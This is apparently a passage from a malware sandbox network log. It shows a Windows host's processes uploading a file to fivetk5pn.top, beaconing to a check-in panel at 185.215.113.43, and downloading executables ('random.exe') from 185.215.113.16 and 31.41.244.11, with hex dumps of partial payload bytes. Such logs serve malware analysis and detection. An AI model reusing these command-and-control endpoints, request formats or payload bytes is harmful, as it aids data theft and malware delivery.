Dec 16, 2024 17:03:04.054987907 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 16, 2024 17:03:04.055022001 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 16, 2024 17:03:04.055058956 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Dec 16, 2024 17:03:04.055730104 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Dec 16, 2024 17:03:04.055766106 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Dec 16, 2024 17:03:04.056102991 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Dec 16, 2024 17:03:04.176733971 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49818	138.124.35.95	80	7044	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:02.850963116 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5pn.top Accept: / Content-Length: 29779 Content-Type: multipart/form-data; boundary=------------------------GkDtto5Z6G038nznj7W4BG Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 47 6b 44 74 74 6f 35 5a 36 47 30 33 38 6e 7a 6e 6a 37 57 34 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 65 6c 69 6b 6f 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 21 c2 c2 96 c6 4f 5e 75 a6 44 7e a4 84 51 df b6 3a 96 cd bc 4d 78 40 8c d7 3f 1c f5 c0 32 a9 53 97 df db 73 ec ec 33 c2 9a f5 f9 ac a2 9e eb 58 89 61 be 59 98 16 f9 c8 33 3c c8 b9 4a 92 bb 61 df cf 86 19 d5 31 61 32 66 0e 78 d1 92 ac 6b 36 34 46 ee d8 7e 80 41 7e 0e 3e 53 83 d0 7f ee 83 64 24 bd ce ff 42 5e ca 49 7b 09 bd b2 ab c3 40 bd db fa ff 8f 5f a9 70 a7 da f9 ed be 23 63 65 c1 24 4a 38 5f 3a 9f e8 28 c3 61 ec 8e df 1b e4 0e 1a 0c b3 51 ea f2 11 44 0f 62 d2 18 17 ca f1 7e c2 6f 9e a2 14 fd e1 29 0c c7 10 63 bb 60 00 cd [TRUNCATED] Data Ascii: --------------------------GkDtto5Z6G038nznj7W4BGContent-Disposition: form-data; name="file"; filename="Relikok.bin"Content-Type: application/octet-stream!O^uD~Q:Mx@?2Ss3XaY3<Ja1a2fxk64F~A~>Sd$B^I{@_p#ce$J8_:(aQDb~o)c`JJE{NI,Xkc"z!J.p#zd%h7:To7jhr&9dB-Io`:R8&0ndO^dhT}a%#;8"'koc@faD$E-.ETg6V5}b@rB3.L'N_`/UKd2\a,x:r0D&aHqp-}'bXuo8{p7pfv?2!4J:-)&IzXhqqNR~"sW\}/F~Yu'Pd.64Ihg?XV2(\|R4]-44zDti[m+{y:fcKtaq_d^y`kM,b1@(cMOCSD.0b"xs.'\- jvx+gIVqxAqJ#+e-t5ob]0_fUfRKDRT&WY3_/AjTAR.%_oCwA [TRUNCATED]
Dec 16, 2024 17:03:02.970913887 CET	2472	OUT	Data Raw: bb a8 b8 9f db 05 94 8f 0a 68 46 1d c0 35 f0 dd e9 5e 0d dd b5 f8 31 a8 8e 42 7f b7 7b 2d 35 0e 4e fd a1 35 d8 82 3d d6 75 db 36 96 8e 73 71 75 67 79 39 06 9e 71 15 b8 1e ac 3e 3f be 03 40 4c 48 86 96 66 be 88 9f 95 1e 29 00 c7 f7 a4 26 a0 9c ec Data Ascii: hF5^1B{-5N5=u6squgy9q>?@LHf)&Eb_v%v1A7U}iT=fG&XIz2N{56H4G}H=a,g&'}>Y*1r.E[\|8SE3&YwvV~8 9
Dec 16, 2024 17:03:02.970968962 CET	2472	OUT	Data Raw: 92 75 2f 7c e5 91 74 b9 e3 6d b9 0a 20 de ec 9f b9 7b 53 48 bd ee 4b b7 d9 be be d7 8a 97 f6 92 d2 70 99 03 09 ed b5 e3 47 4f 16 03 27 41 37 6e 0c 89 63 8b fc 8a 24 94 9a fa b5 7c e8 8a 8e 8b 8a 07 f6 68 ab c1 29 45 6b 2f 35 fb 8a 5f 6d 4d 74 7c Data Ascii: u/\|tm {SHKpGO'A7nc$\|h)Ek/5_mMt\|=-&h=C3R!V+&tM{[*{6.GNrHr9(:>$[YYDM\|/[:F0/h?r[7+("SZ/1b
Dec 16, 2024 17:03:02.971048117 CET	2472	OUT	Data Raw: 20 b5 3d c7 da 8d 03 f8 51 5b a8 87 60 dd 72 30 d4 ce fc 54 b7 ab 2d e9 cb 29 55 06 db 1f 3f f0 4b 9e 15 8a 20 38 5c 64 2d 27 2b ec 62 28 90 63 f7 ee 77 83 a1 cc 91 15 c8 b0 d7 87 53 43 95 ae a6 a1 7e 91 67 1c 28 be 31 c5 53 ba 5a df 34 70 7c bc Data Ascii: =Q[`r0T-)U?K 8\d-'+b(cwSC~g(1SZ4p\|\|^uy~&\|VB/ju0O8P&/B;oS-Wt6<Q,msaQL}jV/~zyA+R\|o1GNoa5Nxv
Dec 16, 2024 17:03:02.971081018 CET	4944	OUT	Data Raw: a2 82 15 54 08 67 0f f6 43 af c1 4b 3c 77 66 16 37 d9 ab 5f 3c 0b da 05 65 49 56 41 61 30 bc ca 6a b4 91 21 fc 2d 4d fe c6 a6 d5 c6 f7 90 63 8d b1 af 58 a0 2f 3c 4b c6 6c 4e 22 c0 1f 64 24 54 89 3c 97 c5 23 27 4a ed dd 85 fd cb 3d e1 7d 65 c5 f9 Data Ascii: TgCK<wf7_<eIVAa0j!-McX/<KlN"d$T<#'J=}eBq5a8zbZ7W`HqMN2DK'Y~1W[0)pW`E;XTOb;UJ0al1wj41{M3:=3[W}LHo0:z_''pM
Dec 16, 2024 17:03:02.971154928 CET	2472	OUT	Data Raw: f9 f9 94 70 6a 34 0a b6 38 af d1 ac 3d 32 f6 08 af 67 d3 5c 24 3e d8 d6 27 4d f3 de 91 66 ca ce 2b 91 0b 6e 70 f5 d2 e6 a1 10 da 73 25 93 d0 4e 43 49 db fb 4e 22 02 77 37 df 0a 7e 70 b9 a0 d1 51 7d 76 6d f2 7e 09 b6 f8 ef f8 55 c2 ff 51 6a 6f 4b Data Ascii: pj48=2g\$>'Mf+nps%NCIN"w7~pQ}vm~UQjoKGVHMWVR9JG$/20d,n1RzzK V_9>Pgv_GYA.\7Do9-5`s9S~2~cGRv+=xO;
Dec 16, 2024 17:03:02.971168995 CET	2472	OUT	Data Raw: 2f cd f0 0f 73 31 1e 59 b6 5e 62 c6 67 09 4a 38 a9 4e b8 13 27 2c 34 29 ce 4d dc 0d 8d 04 db 87 07 3a 98 c5 7e 8b 07 8d ec 05 66 7d 9c 30 81 25 54 c4 bf a8 f0 b6 9b 10 3d 77 16 b5 f9 8c 5b 5d 9b 2a 9c d0 6b e3 ce 14 41 40 57 a8 16 fe 01 1f b7 8e Data Ascii: /s1Y^bgJ8N',4)M:~f}0%T=w[]*kA@WiaQ4l)ITbQ`]S8!:QI[&TeQa(>+MED!"eUENdI47K7(&CiI $\!Qt.tvx4Jj<I
Dec 16, 2024 17:03:02.971333027 CET	296	OUT	Data Raw: bd 2e aa 5c 47 aa 98 64 3d 20 ff ed 41 4f 96 9c 0e bf cd 71 d6 68 89 50 d0 43 21 08 0d f8 02 b0 3c 15 a2 5c c2 29 49 c6 a5 9c a8 51 03 0a 8b 3a ae 97 19 ea 38 46 97 63 8e 5e 5d a4 30 e4 7a 0a 6b 5c 5e 56 10 2b b1 7d db 7a 6a 60 f3 a4 41 ba 74 5a Data Ascii: .\Gd= AOqhPC!<\)IQ:8Fc^]0zk\^V+}zj`AtZ`uyTkn~?Hl1{)DuAtm7m)1ew[<$h{aSk%NqCZ8Re0-;r1iaq8.FYy"g@Dw#{*
Dec 16, 2024 17:03:04.418545961 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 16:03:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 27 X-RateLimit-Reset: 1734366773 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49826	138.124.35.95	80	7044	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:05.705817938 CET	196	OUT	POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1 Host: home.fivetk5pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 75 4d 73 37 34 4a 39 48 4b 4e 51 59 41 5a 4c 4e 31 37 33 34 33 36 34 39 34 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "uMs74J9HKNQYAZLN1734364945", "data": "Done2" }
Dec 16, 2024 17:03:07.191745996 CET	160	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 16 Dec 2024 16:03:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4 Connection: close Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49834	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:08.526734114 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016177001&unit=246122658369
Dec 16, 2024 17:03:09.834331036 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49845	185.215.113.16	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:10.025470018 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 17:03:11.362998962 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:10 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 16 Dec 2024 15:49:27 GMT Connection: keep-alive ETag: "67604c07-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 27 7e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,'~+`Ui` @ @.rsrc`2@.idata 8@zhbmyutw+*:@tkykhzdh ++@.taggant@+""+@
Dec 16, 2024 17:03:11.367909908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:11.372473001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:11.372488976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:11.375327110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:11.378848076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:11.378865004 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:11.381582975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:11.381599903 CET	1236	IN	Data Raw: 4f ab d1 ff 63 8b f0 22 a9 02 95 f4 7e 3b ce b3 64 09 a6 67 72 bb ee 9f 8f 2f fa 6d bc 61 f5 4b 9a 31 a2 c7 2a fd 7d 8d b5 8f fb 71 2b 3e f0 f7 36 49 f0 40 fc b3 1e a5 c1 29 d4 bf 04 73 d6 05 0e 30 70 79 81 7a 8e 45 7e 7e f8 53 f2 aa 76 e6 f6 03 Data Ascii: Oc"~;dgr/maK1}q+>6I@)s0pyzE~~Sv91&5/a&!5/cY(aa)zcpj)4~oLe&&~P(i.+@Wp?C"UQ$'k]ePMsu}^U:k2d46g6'U/c?^xseg
Dec 16, 2024 17:03:11.386972904 CET	1236	IN	Data Raw: 78 61 8d b0 b0 e0 b7 d5 01 06 80 c5 e4 42 d6 eb f6 17 fd f2 0b 75 09 14 45 82 b6 33 e8 97 76 e6 28 08 bd 42 33 6a fc 06 af 00 e5 08 3c 15 e4 72 40 cf eb 22 6b 42 8f 4d 41 d1 e5 36 52 8c c1 cb 2d a2 d1 0d 53 46 05 8e 26 4e 85 02 49 58 84 59 4f 41 Data Ascii: xaBuE3v(B3j<r@"kBMA6R-SF&NIXYOA Qw7oBTFf(`RwUbS!]qXJ3G_u_mO_UO0g(WAQ~B'C,yfGSN\|`.fR545ok4W)e^1`I/95LHv@NH@(
Dec 16, 2024 17:03:11.483071089 CET	1236	IN	Data Raw: 5f 09 d3 22 06 da d1 c4 0f 6d 0d d3 1e 45 52 3f 47 a8 f7 28 e0 08 df ae ee 09 20 fb 56 e8 32 00 3c b7 f0 37 50 07 a6 78 bc 42 2f 64 da 6e 95 c5 67 11 05 0f 17 2f f3 6c 73 17 36 53 28 4a 63 9b d4 1f e6 af ee 53 e9 48 82 ba 93 58 67 8f d7 63 06 25 Data Ascii: _"mER?G( V2<7PxB/dng/ls6S(JcSHXgc%<V&bNVgk,ssj)?+gU?d)A`6Zjf1tv4Rmw2g@AT~%L`pQ5"-oeB(>9WbP1qoSJ 93?O ;z:dS!Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49886	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:19.231033087 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016178001&unit=246122658369
Dec 16, 2024 17:03:20.552305937 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49897	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:03:20.697926044 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 17:03:22.196712971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:03:21 GMT Content-Type: application/octet-stream Content-Length: 4474880 Last-Modified: Mon, 16 Dec 2024 14:19:30 GMT Connection: keep-alive ETag: "676036f2-444800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 10 c4 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 c4 00 00 04 00 00 63 38 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f7 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 f6 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL]g(Kdq2K@@c8E@ _nsn( n@(@.rsrcnP(@.idata nR(@ `9nT(@wynjgspp0V(@moqfgchg D@.taggant0"&D@
Dec 16, 2024 17:03:22.196729898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:22.196744919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:22.196759939 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 17:03:22.196775913 CET	1236	IN	Data Raw: 9e 68 98 1e 16 18 57 e1 2a 5c de e6 29 48 c5 c1 df db 4a f5 25 0d 3a 25 5f 77 2f 6c f3 3e a1 32 5f bc 45 ed 2d 47 a4 6b 7e 0c 8b 3b f6 a5 2b 01 24 a3 6f a8 2f 87 d7 c1 1a c9 1b 05 3e 04 76 c9 36 7e 4f a5 e8 95 92 fa 4b 6e a6 18 67 12 c1 5f eb 93 Data Ascii: hW\)HJ%:%_w/l>2_E-Gk~;+$o/>v6~OKng_kednm)}q{Y]f2C]VreeE%Wi>f3rVkgV!nf!Wv%cck,i)# YR'VW[u+N0Nq5U5P*6]
Dec 16, 2024 17:03:22.196789980 CET	1236	IN	Data Raw: fe 67 98 e9 ff 83 03 a0 80 36 eb 55 76 2b 83 3a 22 f0 b5 16 6a a5 a2 12 ef db 2a b6 16 fe f4 c5 6b 2b 32 07 8d 14 b8 d5 12 ca cb f8 2e 5f 18 75 68 40 34 c2 c6 91 8b 13 aa 92 5d a9 26 46 cd 31 a2 3a 0b 46 44 14 75 91 18 0b 02 e6 ae 0f 04 5c 36 11 Data Ascii: g6Uv+:"jk+2._uh@4]&F1:FDu\6"9;>L\:l=3:L96(x?&!Quz&7ss0z{DOe6+HtsUX I&93}y1Sqc18}8l~&C@.d2f*uNSP\|KF
Dec 16, 2024 17:03:22.196804047 CET	1236	IN	Data Raw: 66 f3 2b 01 0e 57 27 81 0c 88 18 fe 4c 39 49 f6 c1 2d f9 65 d7 52 65 d7 f5 e3 aa 5a e3 cc cd cc 57 f2 14 c0 f9 b8 a9 8e 0a 81 3e 84 62 22 81 7a 2f 8f 97 7a 45 12 25 95 f0 0e 5c 8b 09 a9 27 d5 6c 17 f1 2b 34 0e 30 55 46 71 2c 75 87 14 ce 93 02 18 Data Ascii: f+W'L9I-eReZW>b"z/zE%\'l+40UFq,uJV0p\|kr\|QYVJ#^C`H#.\|,]/,Wbv5hF:)Pw'7#$4"&G.E9@MK**l^5rfWx2y,>8
Dec 16, 2024 17:03:22.196819067 CET	1236	IN	Data Raw: 4f b9 25 57 b0 d7 f8 ef c8 83 15 61 ef 26 1a c0 9a 4f 37 f0 3f c9 e2 a5 71 c6 35 3f 33 ce 17 f3 9e e4 1f f0 8c 0b d9 6a 63 06 e8 b1 f9 ca 43 ba 9f bd 4d 62 43 47 d1 ad b8 e1 e5 23 d6 ab 15 6e e4 10 10 1a df f9 9e c2 6b 0e 2e c5 a8 e2 d3 f9 60 9f Data Ascii: O%Wa&O7?q5?3jcCMbCG#nk.`:BI-#fD ZjFq<$6jXbkT}\|R!nw="?[UnY-UU`Y)cG'Pr"!aRk*;\AB9G2iD2&_G
Dec 16, 2024 17:03:22.196834087 CET	1236	IN	Data Raw: 7a 48 aa 23 a2 7b 23 9b 67 3f 63 5a c9 0c d4 f0 fc 82 d7 29 8e 33 80 01 d1 fb 86 1d 3c 19 9c e0 7e 3e 7d d7 cd 65 e0 e9 53 ca f2 31 9a f1 61 c3 9f 72 b4 e9 a7 77 89 55 22 86 67 b9 b6 e1 21 21 34 a5 f0 ed c8 4d a2 5f fa ea 63 c9 f6 f3 7f 61 5a 64 Data Ascii: zH#{#g?cZ)3<~>}eS1arwU"g!!4M_caZdwg7K%(b&=>+5crr;76h;Le!P^eq!F9b7dCv~[\'ZNg.[<@bmu9F8g_oo<V"<5Z80v
